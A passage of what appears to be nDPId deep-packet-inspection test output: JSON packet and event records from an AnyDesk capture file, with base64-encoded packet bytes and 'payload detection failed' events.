OjO9Mu9ufeOvjTK4Au8Kw"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":721,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":3980} +07581{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":722,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":885247,"pkt_caplen":5380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5380,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeRVAAIAGAADAqAG7wKgBstOUG56PHV8LWcQgrlAYIBCExAAAFwMDFMlZ4hNO+msVPbMN+DIhuPKgDfZw9L2KFkbajjHp2P8srQZj8TpkbjaeZuzro9AL\/fgXLdQITCiXVS3jRtaDIq1do6VfU\/VAdA\/jnOG0Sz1v0xBbCMYusz\/4Uj2KZ1RoBqfjG3GWcBa2ujn0CxX+sMDWu89bKYGACr2jefM1tUVy5cIOGyU9E5gbTW0rXduQ2WcL7lndMVwJznW5HdWLsG9r\/OHPDktD5bQuv8T4UzKtv2COdN5fSuTBQNxVp3SKcL42wTw5MFQMFuCuTLeAN5gGv7AJxYBnnoCsmKdbynF147dNY7wZhUnItlszwYzLRS6Ut4cF8KEduWvl8EePg1uQRK1DBtGx\/3S9N3GNkHi3a1YAQfucZWMX2CWa5GGRKpj\/5l04SWjWB+i905RN00PiX+y6TseDe+wIGeQZXkYX4pPoOxz8TF7ItYWs8p6Xb8w5t3A04\/AP3nMm60LzWObZRTDXg5BQM8U+cOL\/rPGoY5E4eJWqEXeu0Fc3ZhYdb+I41SLPWzW1v58N4ZwnHhwiZCSiPVhI1fiRDwymA3HUqC7148oehHf6lOc20fk2qmTkohN4g9obdRlyVHXrzEEHFD3p2\/Gc0eHTovAqTWib8+TJ4UCq8ijJzkDDrxiODD8OxWYJCXCxNZ9NJ44V2jfW2PWI8Zko\/mAgnBy0reys6CAMspTFh4OihmhUr9BGNOdQDjzXLcEAq4TtYADJ+qYlTLm\/O\/v4PXr4xo+AMf3DvDNzA+S3BI3k3BHEsVFVzI9OaI9+aWzn36GCZcWhqLSaigl5KSZbzPIP3ROamaSQr3tI+6kk6jjkUj1d7IqzP\/fmInNRkAcdU0xhhwyAj4mfZsdgoMUgMLPh7Bjr2iIEsE9UYNZ5ZUWe5rWyYYqTh14cTLq9tqzxu5Ocbyx3rG+NayVTvl1tkhB630GZoVGxWlcIvyRhHO21lVO3WVm39n9E91rfTogLiGRgOIl0Zo16P0Yh6YenBUgO+IdcszgxOe8r+m\/2ZoelxHEKCX12e9azzq1wboAkoW1XdTHCMrYjfIweVWxwVZ+JruSMduevYVwwnFlsVtqIa4XN6AgcPw\/pdWXhgsaDUKmX6CqxqG6R86wL\/ChbHZFgFPoJsjyCl3F2osTceym7aLkD8CUhqtuC\/gOVLLiNWQMzdDm3d19lq0\/qP+D+Kl+BATGMgbmnDqKeSPF9ioyhlrRrScxawcw4q9wC+Au5rxUjuYkFJJGsb2fWwxE26fnYBg09myyCKI2cuRjEor7+JML8zky+x66J2GNurPLYk6gbir4kuf9tBBm6yE9FDqqhfHwkDqx3nQ29Ji2lRTAK33UNvhwRUtNB7IAxp\/dMo5FfZ7YxUishvw96jOhExbFj+IgOdlnB5aJr9Y7zF95AaM6jrpeZznSR58NDtyzfE75p5CQmqvNV1E7Zrzbe1Z0MPPUCt6JaBomYhISbyU49NF7xV7dF4HIhyKa80an9+uz2y0+F376qS+\/VIMUydbWI9JH2I7ibK32e0\/V5Hn\/j5\/8Q0SpCD40MUhyK9ob2DW1caaoaXyEMQPlDYgRyogZTHa+RmGBfwTOvABAFBIBHK3Y5lDVJwpg3vmJD9uOoGPDCJolvYQpeu9dh4X388daqayLFFHR\/PoczeRiW0tFyUI4ATM1ofdARMyFZ+0eiF0XN3nl+uQE18c7Dys6PznCq+ZTuBIN\/DVnvHXp3J\/dzb0h4vGy07gTt9fAvG9ujkFuQXZy65FYszqDFp7qiK9LQ097Gsb3g3+BgYi3qjiAEVfPuttGwXKOVN58FWXIRsnE0iPE4byjHEnTu6jPrnzcGnhLaZEXqN5nLLsfDHLBpzqjsymnJ0d3CpNBJLiWyftLShBqfUptzsXIW9msMPpag6Kuy5cR5Dw2OoUMiJOuRBwOGwiuHavmdxxqQJ8tyIiMtTfuR04CjKm4Ingap70OuD6dGV+rJRV3Ru+lfr3+HQWh7VGHWoTGJMb\/F4RBlBdN9pHig49dcDC0ceDDiYsWYxLCaT5MxZmAr\/933S40cPgF7qWy3gCl2EsQP+HFS3+jVGE4Ufl5yhHE665Rsxo3ma0leNFjo2DhhxAfBaB7P4RUSh5m84OqRqz2jDYaM+e2AOu\/zxyXPQ3Y2VkHfKXxykogIg0+N9\/lHueBcIE2PdTuB9H5ggaafEHaZQO3FxEyutg2ilvmnihOGclPWlFtjz4wIXTOe9gtatyfvEF2vK0qC2rWHOoU\/+EULzGqLrSGhABeuwWPjpICVfSYEau270fvNG0k6B3y4KfJ4kmueTqqcHV\/7PQVfhU3eohuh6voc6N0ya4X\/yBtago5hiPMrhczbCV+alSnKI42VheYpbQdKsCLOsdQGIi44\/ByjYPd3tMqS7YHHgOA91Si3PoJZWxQz+ZM2kkVmi1bO6X+a4sW5AE\/IEK0qqTsVoRV2XjLzIBcLijDwzUjhssGa2VbGjmd0UsbPKcwj1Y78dl7u6m3rli01\/GsbmzD4BE3gxTZk8kVtLH8voVUzgkU\/X\/pyPn0q5wt7dY0X7LaDRLCx3u9rfb5Sqn4qtfyPzMMq0i3cHewirRw+Ebe7pc6BF\/UYRBNmGkgi0K1ZQMPtwYWc35x\/munk87VNxXGR4qpjXnYSibWnsDEjWFZy3KaXl9oTU84cQICKvCLoiYyjxrO1trmmihXhAk4PYp7ocieehSNdRoYD2yiwKFHtI98J+hzq6ir6SXj0L5mws25ufOrlB8UEZ8Zj5yYUyzlfTtBsdP6qL7F7x6TaXvSCsaQoQzdOIEmwuldhulkYszcgSk12vDqU3ezdSHKbqNM7N1WGPgTS0ez\/0iYRpFTnhci9pjZDk+DXO0I9U1nHl6bnBsp\/ZhzogNrjt0upO9a43wP2uKza7J02vJ3JxQ8sq+BQ8FXkkdsUFTcE6ENaRb6XjwFbw0xOHliGrzXUE+EliGUd2qf1d79z6nqeEs+5dsU2IWA3GDsUkes10fk+wiV44+M+LYe\/f\/qHfjAsgmldajqPmcU3tVP1uAyodZBgQguLl0QvoldsL1vLu76DdYNS+yvBTECxoUAXrrDmNoea4BPH5i4iTnKtnZzuoPT0MDtSkPiejIiRYqxyqjlgIXL4BoWg94ZJCxed5vxgkuvtiBbBGEUOwbpz6BVoOmS6WjHCVX1o2RuaApF828cyxJV7H4yqbvkdIef6Y4osgUWPHpgO7XafvzK9VkWEmYkY5VJpePNJtlJaWWoHZfEa05Fi38Ld0r1Bt7B4buLb7DRNmg+QUqFPXPfGNsJf20PF2Q6Nyb86rv\/PUIG7kkXmz1Aeaur5CWIL5MSO5d0r6+lKNEJ9fm7M6qAluTWA1nIdAvIHsGEy4Xlu58I1YKaoQe3cAVXkk2Pt4BbS7wAkD1xLumsqZGnu8bOFRuCWsw\/1DY0KIt3HGE3Cb+V2oFA7eRP6n4B8gv3W\/vwWhFabcBtNNgp0joA3i4riZP+kWKo8EiTnJCyF6LGR8J9LQBw\/3jtFhUXmr2Nx3YFMjv53jz2\/DTVwv+c7s9FUIIC+sOE0Z77LrYHgDcYC3L\/vjmt1ytxVS7o3wTlOxzZK7HA18Z+XLSUGbmA\/wUkX2l5UfrlwlDDbyy9z9U8wOiGpTDXuISrUH+2STNFjwdTEZfvBFFc8fNsCVHcQUoyuNpUw0ZTRxR5Q5chKMn2iCLvm46sw\/rIxHZMV8AIGH12rNB4oIYXqWv38gBaO7YDJ7fBOhlxt21QiI6ZS5plAqY9FYlrrJzx8Gh6hiOo0R1QfwpLdSxzrOYI7gcE2vgICxHPVbCFg24GqtZJ6JQJtEetldBuW8t65MfVTwTH\/YAYAw4eE2jaQr9M+M8mIYqj2HqEphKLZwtDhhLemQukZqz6zXPy4MDFaxi+WXRJ+HGh14pgC7tK+JcPGFKbuaoM9GYsF5yeqTKAjp40ATk7BOktMOQX7Yyh3ioh6s96dLgPAon0TpV88EfXGnCctFGg0hYbBbm2DJPj8N93TGBq653bTBHWbK60KFkcDGgSf+yhhJPd+KD6UdyIq4UDnwpS5A9T49id5WpsN0M8\/1eyC+ltLdMych684a15uhZF4SHc\/g1kt2myLoD8xKJxBvnzrNY1QhouYZNsshIeOz1KNaDYcPYwl1N6zQcdwU5txuH6sSSvYzSlOYN5Gtksm8QYQUC0\/WqexjqPVORXGJNUF9UO0wF95b4YtZYHB7hRT\/obm\/DTAUC9nPTQAmaXsVKNga58kaGrSXiL0S6uo4Mqzwxl9QY5Yi4R+DGzQutvbHUM7DGSsgIZbLFoTmpOuQun7eA\/1rwKeaOPGL534TNyjIjxTgNTE7lCXSSzUYdinFEVvYzTqnXH1pknGmnfC2Wru0WKnNedKfkgqSIp7hB8MVTvRHS9H\/4MFXlGf+pWvkswclptG62bVPmVESrOClnEuEMnuoPeYOui33eoJbGMffguidjFZ2fk6F6fHn5lzYJxSLq2+aZzN6fLWL1RXc8tPsL2B1h441kldm7WqxE95ToIPvcxzh9I2gTC2mXUG9bPQXO2Cd8dYDeehJbBuzXUwbwMl1H7FMHAX5+6ZZPRZMB5LStJaxjiDgUNnGEt5DPR+bbOTnNyciEDRYRYrNwlf9jW319ViqnfdxcBCEHhBP0PN8N9TjW36gSQD9boEoFc7Qa8d8V3wsFzsYe4eMOEbO4uqRSiOeJWq\/craexmkpTHkwU5LdouykRL4lHSgV7Ixnb1bmifs7CD4NSc2mrS6VoeeCNki2cHGfDEKYhFieSb0mmXWwRrV7FZqZcJcnZafjCKungi0rZIPsPzn544gGHGWDvbsC2mF7dLR+5TpRcicBM1QasDVIV979SpIM7lRr+7phMjAMi8s\/fUs5LxCzfl4ZCHQHECOIf8ixYQ0smIO9OwL5SRhndcjbkAr3dtIGN4NzZIzvK3eQ+iYywVMJ0G3SVcn2Y0s3Zf7jugUTfnn93SfJNDG0kSuFfQ+JInCfSeACvAIQxOYTkXMaiQsOJl03YU+bAQwZMjwNS8OwFR1BFhvHNCS7sE5Ei\/2zla5P0Z8UzKI0Gx3ARJ4DNRURlYdwKpmBRLe9J+mKrEOEi5t673+MHBVIxVSUPqA7\/g+D53ztuzvX9s3g685PDejkb7zIqbuEKILe+XlNEDoX0ZWJN1YmS+4mzz0X8mOIm2f3A2vG39B7g9xbrJkSEqsE2HMfLmDnxPovdfEAKgb9OOO2bJNjqpp+XBqf2H21D6EZHLmozei1jpw5LZHcf3Lxy6KSpzMzUQa0VkYILoXdpSkZ4LP2QbfduTJ11gWJP8nH0Ghlkxfs8BClVMBGpDjs1IOtFzCpT46eGjKm1vfPtTFLpFvZiZhg2dAgTg2jwMdmgypm8iGhewze9A5gexLneJJUhPRQ5YYnIFo38K5wOq5+LsAVIRlS17t25MIAW36xJ5VJv+uETA5r\/YBKzelXY1\/U59V4IUn6tgt5MBmLPBvKni0a5xQPh+Nfh3U7bJYyBUO5bBcCl1W\/sHj\/pLqTwEu7icA5pioF0ub3RXBVTrAzAL6KLJ+X9pq6TOwqDEF3e7mkc8bZo6NVBOl9mYCbJ68o7AIQlI5Wf6DaSJRb6Zr4Ewtw5UXJDMf3Otr04qWIHz79SDgJyNeusW+w5JQsvku2ZS+N4+6VzsKw2elsBPstE2eD\/oARe48eqytwODB6Z384Qbn0m7nMsY97ba42oo25BEkaXyy9hMCfI2XDTiZa4Z9g8zuKphfI\/q6AH\/dAXv0J8qdI+JNrUN239VVBpU5xUH\/6IL8XydiarG\/UVL3zWY8pTHCk8G7kRPgPNOE8BTtoJkUb0VUjXKKkRuRYnlzs+7DSizD9Gtmi7SuZxfsOKDOLPXjnSntSfw3fqZ4V5fiDJnl6+fZ847PayN97LN9VEE30M+\/kWdwAVpzraE15G9cB2uWmUObaDRlgPM7KhT92AZ5EmmmHowZtsRJGafOCBJOXyJdryAPuNVQyreuRnNFYJsLxB3BUg8i8fka36KGFgHo70KFMOsuufBnjrboM7iTdN8N+fO+Psz3M3j0UeCCloogP6L057R\/y5470g8fZ5XSv9QXXld31tvhAQHZtlusfLP3nAmeKM0PG8toZpmZvEUNVlnxZqCNCGhYCLhX+IE3dc22YDCOPsIPV+hygkCZXkUkz36mfkh7w+bF4j1JLJAUiPxEUri9n0+BTcFbSuGS7hvv6Ov\/dhLPKJ8idSybGcfMuYIVeL4D5wxa4QvOxoptLTm2OYEoXKR\/RmxSvvTiwBk+gLgj1\/qke4Nr\/ok3udSvG3d4UOXFToXPJ6FR2GCqMEbyvr\/TpNM59Isp2+npoliskpgfW\/HPJUq4G1XV1bAXy8DAJ3nXyy+gbUAeeaaHFRtx\/Z0oqgZMHc0qd8y\/rLGJv8qEQcK5odC8q35SaULwlqx2e1SSErb1ceUjmw0r45+q4UwBxEnmv0EsL0TFKqvDJO3H\/a08wOe6WVdoTDsrQZp0ypmRdUiTLIFoTBu2MSE\/Qu5b7ZmMRcajhwAaUb0cRaLT9ECAvY802W+YUcrR\/WEhw0CPO85GVunHaJ8oVrp5VZ\/1OrZmFVXGQ217805qR54UpaJ7bS3SUrkWGXg5dkscCB7D+PEIayNbFVF7RiCu\/Xu+b5hYXrLuAg\/rKjEStW6Obcouh2z3Cd6AIdCR7A96Rdltskuas2+6rQA0ojNeH49WS6dhjyuQoZI29ustbDQTnTkAAtYec09kxhf2puBN49K1sKWFJAQR5dVObmi8dk\/D6uHjgsDbbt2eqYx8jjvFrWduF7JKqRSa9ocqEESAvbKjfeoRol+CYeOhl07jkuwmOsCO477hzcS7uEj5Bp\/pqoX1V4um\/IJ7NT6rWNaV53jwgeHB+Ea4Fbl4HjY2Ol2VLm\/RoXdAX39Vl18oVc\/+S5WIo6tBGbbFQMqUHNOkh6xEJFCHseVu3zphNOyes1CZKeJBRMw+U1byA\/PoCgsr8Tl\/aLqjjGlnjh+eLb\/NI+D4LqMmNcYsZuMhnaeO1QJsglzwMlHF9cDas\/aDLDuHstbsLvHTLRKk3qC23hz3wSapB\/+9Xy8jdNRW5\/Pj+A=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":722,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5346} +03121{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":736,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":914060,"pkt_caplen":2080,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2080,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeR1AAIAGAADAqAG7wKgBstOUG56PHXPZWcQhO1AYIBCExAAAFwMDB+VZ4hNO+msVPv5yNgb0kKi8a+YMmjBihRyYHJrzqG5VCTlJae6QsSmJwjrHImhZdCgdFE3+v91C776wWFqo5WQD8DCbyDtMITOoxyATMFtevEuSUJ15Q1XJeD9hlYQJBiIJHSI2NpChK\/RBbbIpTVQRLBV0SdZRMkPQ5YUvOQB\/hhlENKCBFx8VB7V5Kj9kwZdXJbRoAQ+SCwTK56nBOJpYoag8WkPkPlpBaM0eFS0ZfT595s3D2Vhtx19ef0Atdo8pqJRncS+mQ3jUg\/LI8Da0+dSTX4dkFrVzPOAUTM+y8FzvUkS8cZ5nxTx6LEAH74COuSAk4EW0Z4sPpm23rzXYgSqnFrUsNLoe4Nuw7owVR5r8u+MHpdmZcbadYpgDBn9tQBrne7GHUtvD\/Hwp7hRzq6OqGihmnl\/Us\/5IwujFv4lvK\/Y4PbI\/J6EEV8YopG22LwKK3PMYl4T1IqWaRIJPsJWRgG4VHgQebZk4TnK\/Fp98k3XEw8NjLXimK4vXMb6W0mKKojEHrzuvoaQ0QKsk+KrPEtoeODbS7DTzfiSIiuSubuUZxZbYWOVqqDWDg9Hgf2EZhjMA2sb4sw9862byJloMO6gGEKmSwPCgrKz4JOE7zX4M1WP9RhyTcGe69xe2yA+4OrxYDTDCRfhk+xnchnRPM+OTbPwSRF09whRADbe9ufhIKqlpULZJPyiy0prplYdeMv5zgefZWjrb+Zc17ij0ANeYqG8ImItdGje4KGxJ\/tPUOQ0QrFSQlmY4ndnNmTXNIadSZKWN9wsxoM\/iwa6tBr0c52ezYqKSVjFhNIk8p8RZ\/hbaQiJVEBOHzleRl\/2PjSlUnIlDNQT+kqpRbWa5gM\/5EV7wSYzwGpzptq9ipXB\/P5fnqp1oBfxzrDWSs1C\/QdYtfQvw+5Iq9RugyZMhGIryUil\/XCuJu8J6fgv40K4UCO33KORBuAEsxkPeCzB52Rqx9lgx3Qw5lkg+wXznb9wIHWF5VBapURD7FFpkFsikWnIH3RQwAG8LU1TWHdyThF2UycQZ+ulWDR\/5uvlBihDRfQRj5e+V67xLnytxERxB4P1RXLQZisPvXCSvTvCMqhQAbqB9YXJh\/UaI0uB2e7ZDrPyadOo\/l2kv3GeeIpnebRam22Q7Z7xjvEFt9ig\/Zwvew74LLOtHbmdTg71G7D4DcrN6Heu5PCoViTSJtTe98XPQ+thT2HjXchlGIHMqHr9jZJSyx0+B57DexwGAdH2iwpOVHQOKsmuLsH1aLuM58i7O35AA3Kh0x64mkS0qpgLk0P\/SDLn7hWX\/+ZtNEZUHeO8t8Mo8qejhsOQkTLloMqHcpjQReNgvv8w00oNjk2efwoIxxjt\/lD5OUP4MxeVU69v3AZUKBFFcSEo2Vfho5+b2n303PVBDxqZqm0qtgG5DnV5IwinextGvdiqspujY0CZQraCJTQYFs6Gcq9U7zMGEuLjUNLElEmnNkdaSn3fOf2BOR+zO8wn9tnAW0ova91nL6N1tTWp3JOUK6MuMS0IrUocKSsaJOuxjrHgxCELdWnUk5S\/upPd+lLvrphzhQWO9DKOIi+5SvCaX3KOPHU4yTMqTYkP6j39l2FppqeMvlpOPY0Eq+FO30hc6o5ZbAjb2UGNUcJnMwdhl9hHw0NG6OKthR7bwiCkoDI05QP9t6T1SIa7QYvqjB+TwMBJuG\/KRNAZf0NMfX3wPWLbdsfr5ThNoeDDw1Jz\/eAqK+7Q\/ZiVYlJB7\/Abk53pQmZzCyoxsrrXIckeWuilmTUh95FsaKjMzhj0k3Cmy2mL4daP4kie\/681PAvKYp0qYU7yVEyuSALTU2\/klG7koxjeJKW+JA8mCpOgZbn8KzwPmgMdwf7GoVOtmxTJ3otuMCagA44H1Z\/7RiTMQW3Xkt4zDIfo\/mHTL7pGBHK1itYgsCSZJxdz9Ob5rakvfH2REfMHXlFELgONLncueUzhxDTtCpNKn0iN0ZFhZmmppzbCQDZP82MvAs222F1SqizHK7AYNOhdvthYZaqMWFXKX0yS3\/nhnFpWgWm4Z1aH8XjLnf8Sw49ipzfEYBAJqpSQnZ9vvmHafU\/Yyoc2GSrEfmQa9jrZ57Qu0bH98h5HPbtecnMRhFb7RIjyKB4zkiyQCjNps9RQUSD4OmX\/nVkIfX+3zAg000fJRKHxGtaWzLfryR+p7ch16rI1lFKOM7HdWDTIgCTxw2V7ykbtbWv6hWJeptxMIuQ01CRfsKtjQG4YMMdhTUKkOCiFeUsAflLMt+5eKcO2gk\/yRZPC3l0mNPWRENORrC9mC6SlLRgVNTruttHvQIxhuh+rkaifgxl5GoYADuVm\/0xpDfEJu1td2aC6JenxYOKjmDynA5yUhbUaL+mB9kcL30zV2hek79oNh3YiHlwrax3YE7QKwuVZMHNTH\/UqqHU16qR14DK9yaLUQgi8itIvUsinjHaDrwGrTYnhSF8Lyz1Yl9+lrfvZvWsHT95Iwh7HpZ3\/tBEgkZ6FtG3wbBsjJTWNYXHxWtF3lJwVjFUNwbbzqOhAk6xmLgDFxHXTX59pA38yqkvt4AfMKn8IJMxHaoeV+B+ppxbubqbJuaCtZR4ZsMqDdHwfqL3ljGH\/cJQfIRwwgT5EG1f1MF6kBMMOOf6GhRZGFaBw6keDPUycss37nKn+IaQ+ZQTmd2XfgzwoUAp+ZXJDfD5MVcA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":736,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2046} +05836{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":737,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977608,"pkt_ts_usec":914553,"pkt_caplen":4084,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4084,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeR9AAIAGAADAqAG7wKgBstOUG56PHXvDWcQhO1AYIBCExAAAFwMDD7lZ4hNO+msVP2kBVVvepqGTY\/hHYTk4qTLdEi7kMSthHPjDkQf6vpz7CjlozsT73p7L2W\/38UxTZYXM43wxEdfA4HBSQSp5slWY8pkgrF+qPok1TX7rU4vnCv5yVerZd\/x1Eb2SKiAGpx3TJhZzsmBnWh6J23ssBCikO6ItFGjDtfzJdyi1W2ljBhBeYc+Su++khU1M\/N\/sGPu9Lh87jyCvtW5yhkJzy28nH5ek1amSRUv0rqB8jz84cuBnJmGV5eXcy3j6EVfxarMMXzKCmch1Gc7jxazYec0fBUHKNcA1daGEhvIxUm+oWUWxO3qCrJj6hmftW95Vq9x\/W65LkBPAefLFwSrdAc0r\/7aaH8Xo44P\/CWPsvXlPjKKXPFYcs9EgBUCKurLKDnv6BQe5JrN7IT6X776WYL\/DntpHGVSu3p7MyiQjB+1rCsnslGL2+bYK+i0e5jJCdytqCYpEE1WNchu9p7nYDVS9g3grbPwQmpejghkFD0jDafakXNRYKxRUJXMqHMDGFKa14RQLaBOAw1W+6C4PZTROcnV5eqd9tX6tHgUIwkdeM1Gn7RKQ7s6Bl9Sib+LnYDlJpcabQv4KNA60v0OVM4B9BrNzMSTZB9SBN8QsbjzOg5\/4pNG1JUNX71B5mGeOOHuOJ6osDpPktrDtbwHUtGrpD2NCxMNwtALpxrAVwrrfy4fHDwF7Qrl\/ezj1fE8XEmnHOZkd+IuwxIWWuWZJHA+1AG9JCnl+f+of8akn0ftNJxKeaPOSS7JAP9EUpYq7PjHbrleJD\/m4fJCNaZ4PzBVLUusegxLrkh\/VK4yhCLrqUx7yRgxH7\/x5RLYJG8+KHdeD7lrvZ5XeNk1XoDmvKqdjIuHGz\/A7jAexGW1vvEU+wBpWY1kyDBGBUZIaMcTBFetK3JFyk2b4vcQRtPnp5WqB4V52Cg5GOlwsHQlZCHqV+5gc5ZlCTCtbeQS9kQaShFNVMmGS1GO\/\/a4zMqis40CaoNAR7z6UYm+6sJyWGgm2BgaS6\/SOc4NL7luoG13hbIFcon6LU16EZ4LDG4dRe2cpNxUeLPzTkQrN\/B5Qnt9r93NK+Sn73cTouRMja\/4JP9P5clygkELQMiq0yznjQwDUvzFu+B\/A2vtYZ+ls5SjRebwyZSBMvrrxZxpKrcmyBxwansB46KJqGndic9Pf8wdNdiDPoaICntvaFzW0dUDvk0sceD8K9WsCoBrDcqfMtharbBeiv9bgvr7BabBomfPyLcilK\/1vUIFuW3bNjSCL4LGd2pyyUXiacYiIU0DNn2N+pKnxR1UD9qXbGxjqQp03a7PYur7rCykkgEzvYHVuvlfD\/Z\/T9szcZEhmdYvmn4FkzOf\/uJLKiacMwuK604\/yLCFSJU+bInLP4iXnpnsgjRScYubULZlwvG0Ht5e31Tc9P1C7tXWHqA3rJ+6I0sec\/XW9XPewqeiXYDT4mEIPuTWXeOQXzVBmYdnvv4N44qAMfiw0zgTKrzikchFVE50i1D+WikrwA5eg8AStMZ97\/nceoUxoO1QWXJJkRnGcRDLLknQAZlvULJt6Mbx8UxQi20aoY3NsvPbseIdU6vaYqP1HeDdXDPAyE7l2lpzIojO7MbFxXdl9FXmqp4AJExrKoJvBzoeRYVfMOuTT1VMEztAZ0QO66gBN9S+uT0br1MXBwh4LRNc4pIq+0rtOhaPNMDW6EjIYWZ271OlPVViwItQuJ40ZiHY3VipXdiJf8MYRylIb2zQ+DKmrKo\/JPvwb0GGGK966Qdtw9dVMnnSZTu5B7OgoQpwa+tcwiSzvMc3ZqAetDiG4EHu\/cXNIg9HucuimzBJAcehwHJOqdncPEebcM6UmBKCVzTflPLuyS4vjq079EKDUNUcGjt4v8ottm4nSsaos3kXgPNcorN2cuDIgnKAz9+gOjbsTyvA\/e9eu4ub3GWpTnIY9y2c+JLwBnEgc1GzUJEFriHwsDwLxqRMs5claikU4VP9xmKBCZKRYN7KMHMR9pUk72wE24jyu+XnBIcSfy6xAvZpDSVy7cGp9OpOFwQjP\/GvK+aC4DAoX5rXLzw5fbM3+gixbc8+uSE4PQ\/FsScvImrpxDzslIb+8B7l8S8LPuofr2DKTCxs++0a9z8WT0w7T4+gZRMOJz5cGkS72nRBY5+PbZIOBs9clX2urll5RXDM+W9QL5XaO8UvSQnGrYLdjX7eXP4GmIt6L2t4RK++IhkBMwcRoJqDpaL6cnqVFw4FWT6oL7wZlT1RDdLC\/\/YcPOTnzFVi0QQZaywfx7plOSceHhQbXLfHmB0mecpKc4bZNM7hwzyw+QB0PNiStbt1W6J7CAhC9zW4CSJo2pmE5mzei+kM4ZVvQfyHxZWNPwnJZhbVH7MGVAnjhNVu+Y6FyjzIVYA66ckdrj0ZAx37oy9nzpCURsvOXHeQi5pg9U94Pt3YRoKNP1z9zSyultEd0f3LH8SNSCaL69ReBOsbKmK3VwRYENv4N\/VhZ9KhOgnNkp2iMy47DLDhzuy1v2BT0qR9C57pPDcBR7kEEAiup\/CcMP3fLbVJJeZZrjZQdkIUeNUGt+9dZRDzaSumaufYWEYsVpDPG7wsKtBlubWaQtJ5rhrA6DuuBfugDxVUIYameelQmtCbhjhxj7VrVH1GDb3\/dTE+EjNKyGKHAY1pSLtJnAkF5aBlW0Ip25kosrcZyRYpqsB0AxR7bjMHhknVaGDNxj0hnWBoCs78tBNU73j75PQwqZ8yCPHBQnGtX5ZnW9HBTZdYKujITqxPC+I2ty8PrmnykA7nELbwY7EmU2Kt1re4JXfC\/fVqmr2aCx9L2S3wkGKinT8ibkEg1b68VEk5t7uY5itR7KL31EPE4c5XeOPgTbMQEAhAyKxBeqv5IapSZab\/tsjWR95\/VUIwFdoVH2MLmUS8bkMCNDYpSCOdrWVW4jwo5ClKpC\/\/\/PltFmneHMkzNG8NtMMVGFvZisiUOeVb54PEqSniNeinUWQQQfICWpmKtsvOF8hkMLmyfv4gV8IkMGNqFxDy38VkTGYGgA9ydbpau6B7pDdgTs+lKVaBuZDJDLyKa4JPJfc4bKOht\/JWc2jBHHUHglNkhMVO+DIdM1aciaELGdpc+6y4RvfKi2fEIYOWVxzRprpJ0ppF8gLxudQe6OcKX4i2CqiG5QvFysSxqahR6D9DwJRphDS1rGRNnC3RuSCk3+1E+ruWgcJ+W44A1brhHFNnGYrBP3JOmlNz83yb2\/tob6sAsB\/fVxFo5SLlJFxbKGp53zmVkNWNAKan0NWLB9d5Y6mxgM38P+jul\/lJd3tefANi4vBSw25Lhm5DpxZUfNphbsmbjIzE7HAOKAH\/7tCd3OVUjcj7KvAnRUXDzm6tLqA\/FwoZlCEIH7DrOWNSEcMHpavkaZvLGk6QU9lx9dEb8rRy7osoP\/\/+aLVXaDB\/PuvlG\/DDhnQo1Yy\/hBP9MAOTLqJjC5zXRpd67J70xrrI6yMjT5fmfBBH2dLjTajUy\/F3M4BBRFocIjvNyNS2aARvabZjO1GqqXyKU6KxcQKS19Ci46\/Q4+vohqcXzFyAFqO9Z2JPJTVDrlTC9n1IytvTD+ZYNHJsGSk0bzB56eSzuglc62pK04NgNZzwclwm3nEDZ5A869y1NVLvsCPzNu83upPrRFPiX3zLi4TKSSriZ1WX5SKsbS7og\/em\/KUSNzwUP0LwhhoCpCS9DZlNZ4u0ds51OfrU8y2Kmv9+CDKrfcTm8FvOoEfteXHa6\/x5llm0+3TG1okHf3VjbiGTBu0K7r2cRzcXmcne9Wl5OV2Qtc1zfVoPIM87LV6BnDLcvct1erUp5CPig8htEceaJ75pDsbwHv3KuRkvifD479gQGgoPqhs+BWncy3FZSxkEXFgZ9sgFVn6pP1aTUl3e0Jg+Xn6o4AunT+EcWlMiWOAIEZCATQ\/sLRf4+0LzDEaj07wj\/4qbxp1RCllP2\/TvJlL7qlgoMZR66xDU0qbzFYLA2FcJ05vS3CYhWId1uyaP+jFcDv4nhBRyfyAPeNaMW567KjwwVbn9Ll\/NyRnaG9Civh0UQcsX\/SGecr+PS60TGEmO\/lXtarLKjJax+DY5vRBHtwnxNteLd2kgbQpyveQ57zjy0N0nKQcU8hfapULH0AB+P702VUcTG1h9j668povxU1zrYoNxoSIGg5akHtD0O5zS9YYS3yy7i1wifqc7wm+\/ejkxOijdz6szKYpVQjeWNRBHhDZEdv6LeM91HVg7F9rDV3s+GSYtHDMVAGCQiKXs2SxJ\/G47PLP7ZY84pUGYiIdlP7E1JYgkuOLQkNbYMy+uNFMGF5HdGm7YR28i670QFUaE7\/sUhDCqfCSVgwcAXX45BD7DuFnx\/GktLK2uJYK4dh1XiFKmTXspMPDVWtv2OxMTPYN57jMBpIVv4KF4ZjPaNSK1LdGtsUcNG4x82RuspUgLUmSKE5qrj+jHohIcaNuhHNlZNydG6QWPGJVqJf5e4z64crLti8JqMyY0\/6Ru48E24ocblXCIL6EdUZ+OPz6Ub2atswyrWBfj\/WS8J8CBfrT1aEUxUuqh\/FNhg14+Gau1xZ8TaZhBj5CR2kdmlzLWx+jY8xy0\/zN3qRxwmiio0DA4w4X10V